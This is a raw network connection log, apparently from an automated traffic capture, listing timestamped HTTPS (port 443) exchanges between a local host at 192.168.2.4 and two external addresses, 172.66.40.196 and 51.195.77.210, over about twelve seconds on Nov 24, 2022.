Nov 24, 2022 13:28:59.389774084 CET	443	49822	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:00.469417095 CET	49824	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:00.469489098 CET	443	49824	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:00.469572067 CET	49824	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:00.469944954 CET	49824	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:00.469976902 CET	443	49824	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:00.470107079 CET	443	49824	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:00.577723026 CET	49825	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:00.577776909 CET	443	49825	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:00.577872038 CET	49825	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:00.578612089 CET	49825	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:00.578639030 CET	443	49825	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:00.640022993 CET	443	49825	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:00.640872002 CET	49825	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:00.642951012 CET	49825	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:00.642971039 CET	443	49825	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:00.647133112 CET	49825	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:00.647152901 CET	443	49825	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:00.683129072 CET	49826	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:00.683197975 CET	443	49826	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:00.683290005 CET	49826	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:00.695580006 CET	49826	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:00.695621014 CET	443	49826	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:00.695698977 CET	443	49826	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:00.751247883 CET	443	49825	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:00.752391100 CET	49825	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:00.752415895 CET	443	49825	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:00.753689051 CET	49825	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:00.759699106 CET	49825	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:00.759835005 CET	443	49825	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:00.759974003 CET	49825	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:01.919331074 CET	49827	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:01.919411898 CET	443	49827	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:01.919509888 CET	49827	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:01.920017004 CET	49827	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:01.920066118 CET	443	49827	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:01.920120001 CET	443	49827	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.258939028 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.259001017 CET	443	49828	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.259243965 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.364173889 CET	49829	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:02.364239931 CET	443	49829	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.364406109 CET	49829	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:02.364794970 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.364834070 CET	443	49828	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.364923954 CET	49829	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:02.364959002 CET	443	49829	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.365036964 CET	443	49829	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.430037975 CET	443	49828	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.430229902 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.485740900 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.485805988 CET	443	49828	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.486326933 CET	443	49828	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.486428022 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.488693953 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.488707066 CET	443	49828	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.564138889 CET	443	49828	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.564846039 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.564893007 CET	443	49828	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.564970016 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.569928885 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.570142984 CET	443	49828	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.570220947 CET	49828	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.608488083 CET	49830	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:02.608561039 CET	443	49830	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.608679056 CET	49830	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:02.609224081 CET	49830	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:02.609256029 CET	443	49830	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.609353065 CET	443	49830	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.686275005 CET	49831	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.686351061 CET	443	49831	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.686450005 CET	49831	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.690901995 CET	49831	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.690934896 CET	443	49831	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.759607077 CET	443	49831	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.759752035 CET	49831	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.774833918 CET	49831	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.774873972 CET	443	49831	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.775660038 CET	443	49831	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.776707888 CET	49831	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.777375937 CET	49831	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.777399063 CET	443	49831	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.783581972 CET	49832	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:02.783638954 CET	443	49832	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.784190893 CET	49832	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:02.784616947 CET	49832	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:02.784638882 CET	443	49832	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.784703970 CET	443	49832	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.885982037 CET	443	49831	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.887938023 CET	443	49831	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.890842915 CET	49831	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.904891968 CET	49831	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:02.904927015 CET	443	49831	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:02.959347010 CET	49833	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:02.959413052 CET	443	49833	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:02.960398912 CET	49833	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:03.836632013 CET	49833	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:03.836657047 CET	443	49833	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:03.836797953 CET	443	49833	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:04.073594093 CET	49834	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:04.073673010 CET	443	49834	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:04.075115919 CET	49834	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:04.075539112 CET	49834	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:04.075575113 CET	443	49834	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:04.075686932 CET	443	49834	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:04.166191101 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:04.166270018 CET	443	49835	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:04.167498112 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:04.169347048 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:04.169383049 CET	443	49835	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:04.223038912 CET	443	49835	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:04.227005959 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:04.266932011 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:04.266980886 CET	443	49835	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:04.271203995 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:04.271228075 CET	443	49835	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:04.360470057 CET	49836	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:04.360538960 CET	443	49836	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:04.360693932 CET	49836	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:04.361057997 CET	49836	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:04.361094952 CET	443	49836	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:04.361162901 CET	443	49836	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:04.463315964 CET	443	49835	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:04.470793962 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:04.470844984 CET	443	49835	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:04.473803043 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:04.478952885 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:04.479116917 CET	443	49835	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:04.479398012 CET	443	49835	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:04.480503082 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:04.480503082 CET	49835	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.465854883 CET	49837	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:05.465907097 CET	443	49837	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:05.466263056 CET	49837	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:05.547337055 CET	49837	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:05.547379017 CET	443	49837	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:05.547492027 CET	443	49837	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:05.667089939 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.667169094 CET	443	49838	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:05.667444944 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.668239117 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.668272972 CET	443	49838	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:05.701811075 CET	49839	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:05.701886892 CET	443	49839	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:05.706435919 CET	49839	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:05.707014084 CET	49839	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:05.707051992 CET	443	49839	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:05.707112074 CET	443	49839	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:05.727909088 CET	443	49838	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:05.728295088 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.827621937 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.827687025 CET	443	49838	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:05.828739882 CET	443	49838	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:05.829380989 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.830280066 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.830317974 CET	443	49838	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:05.903054953 CET	443	49838	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:05.926770926 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.926820993 CET	443	49838	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:05.927138090 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.927534103 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.927721977 CET	443	49838	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:05.928205013 CET	443	49838	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:05.930243969 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.930284977 CET	49838	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:05.962223053 CET	49840	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:05.962287903 CET	443	49840	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:05.962692022 CET	49840	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:07.086837053 CET	49840	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:07.086910009 CET	443	49840	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:07.087066889 CET	443	49840	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:07.318908930 CET	49841	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:07.318978071 CET	443	49841	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:07.320112944 CET	49841	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:07.327925920 CET	49841	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:07.327949047 CET	443	49841	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:07.328018904 CET	443	49841	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:07.341795921 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.341871023 CET	443	49842	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:07.344588995 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.403956890 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.404007912 CET	443	49842	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:07.458163977 CET	443	49842	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:07.461019993 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.475011110 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.475033998 CET	443	49842	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:07.475684881 CET	443	49842	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:07.478741884 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.478741884 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.478768110 CET	443	49842	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:07.557342052 CET	49843	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:07.557404995 CET	443	49843	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:07.559547901 CET	49843	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:07.559942007 CET	49843	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:07.559973955 CET	443	49843	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:07.560065031 CET	443	49843	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:07.587315083 CET	443	49842	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:07.596946001 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.596975088 CET	443	49842	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:07.605811119 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.609321117 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.609522104 CET	443	49842	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:07.610004902 CET	443	49842	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:07.613276958 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:07.613316059 CET	49842	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:08.701164007 CET	49844	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:08.701226950 CET	443	49844	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:08.702020884 CET	49844	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:08.702368975 CET	49844	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:08.702394962 CET	443	49844	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:08.702467918 CET	443	49844	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:08.814544916 CET	49845	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:08.814624071 CET	443	49845	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:08.814935923 CET	49845	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:08.815617085 CET	49845	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:08.815649033 CET	443	49845	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:08.855513096 CET	49846	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:08.855571032 CET	443	49846	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:08.867413044 CET	443	49845	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:08.870311022 CET	49846	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:08.871009111 CET	49845	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:08.871562958 CET	49846	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:08.871582031 CET	443	49846	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:08.871625900 CET	443	49846	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:08.903021097 CET	49845	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:08.903105974 CET	443	49845	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:08.904071093 CET	443	49845	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:08.924444914 CET	49845	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:08.953756094 CET	49845	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:08.953797102 CET	443	49845	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.023941994 CET	443	49845	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.024173021 CET	443	49845	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.031582117 CET	49845	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.034226894 CET	49845	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.034274101 CET	443	49845	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.146397114 CET	49847	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.146435976 CET	443	49847	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.147582054 CET	49847	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.147811890 CET	49847	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.147825003 CET	443	49847	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.147921085 CET	443	49847	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.267302990 CET	49848	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.267366886 CET	443	49848	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.268352032 CET	49848	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.268614054 CET	49848	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.268654108 CET	443	49848	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.268810034 CET	443	49848	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.318660021 CET	49849	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.318710089 CET	443	49849	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.327295065 CET	49849	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.353667974 CET	49849	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.353754997 CET	443	49849	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.405316114 CET	443	49849	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.406889915 CET	49849	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.430838108 CET	49849	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.430897951 CET	443	49849	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.433835983 CET	49849	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.433861017 CET	443	49849	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.437705040 CET	49850	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.437773943 CET	443	49850	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.448874950 CET	49850	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.449342966 CET	49850	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.449381113 CET	443	49850	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.449470043 CET	443	49850	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.538094044 CET	443	49849	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.538250923 CET	443	49849	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.548194885 CET	49849	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.548542023 CET	49849	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.548593044 CET	443	49849	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.710959911 CET	49851	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.711013079 CET	443	49851	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.711143970 CET	49851	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.711350918 CET	49851	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.711364985 CET	443	49851	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.711436033 CET	443	49851	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.793864012 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.793952942 CET	443	49852	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.812407017 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.820703983 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.820729971 CET	443	49852	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.899857044 CET	443	49852	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.899931908 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.906533957 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.906543970 CET	443	49852	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.909619093 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:09.909627914 CET	443	49852	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:09.928525925 CET	49853	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.928567886 CET	443	49853	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.928698063 CET	49853	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.928920031 CET	49853	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:09.928935051 CET	443	49853	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:09.929008961 CET	443	49853	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.006279945 CET	443	49852	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.006366014 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.006393909 CET	443	49852	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.006452084 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.022660017 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.022928953 CET	443	49852	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.023324013 CET	443	49852	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.023530960 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.023530960 CET	49852	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.140472889 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.140532017 CET	443	49854	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.140629053 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.143244028 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.143280029 CET	443	49854	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.205774069 CET	443	49854	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.205905914 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.207381964 CET	49855	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.207444906 CET	443	49855	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.207540035 CET	49855	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.207839012 CET	49855	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.207873106 CET	443	49855	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.207916975 CET	443	49855	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.288932085 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.288981915 CET	443	49854	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.291707993 CET	443	49854	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.291820049 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.292308092 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.292330027 CET	443	49854	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.375427008 CET	443	49854	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.375634909 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.375677109 CET	443	49854	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.375766993 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.381068945 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.381195068 CET	443	49854	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.381335974 CET	49854	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.443835020 CET	49856	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.443912029 CET	443	49856	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.444008112 CET	49856	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.444199085 CET	49856	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:29:10.444221020 CET	443	49856	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.444334984 CET	443	49856	51.195.77.210	192.168.2.4
Nov 24, 2022 13:29:10.509999037 CET	49857	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.510080099 CET	443	49857	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.510201931 CET	49857	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.512201071 CET	49857	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:29:10.512233019 CET	443	49857	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.569581032 CET	443	49857	172.66.40.196	192.168.2.4
Nov 24, 2022 13:29:10.569785118 CET	49857	443	192.168.2.4	172.66.40.196
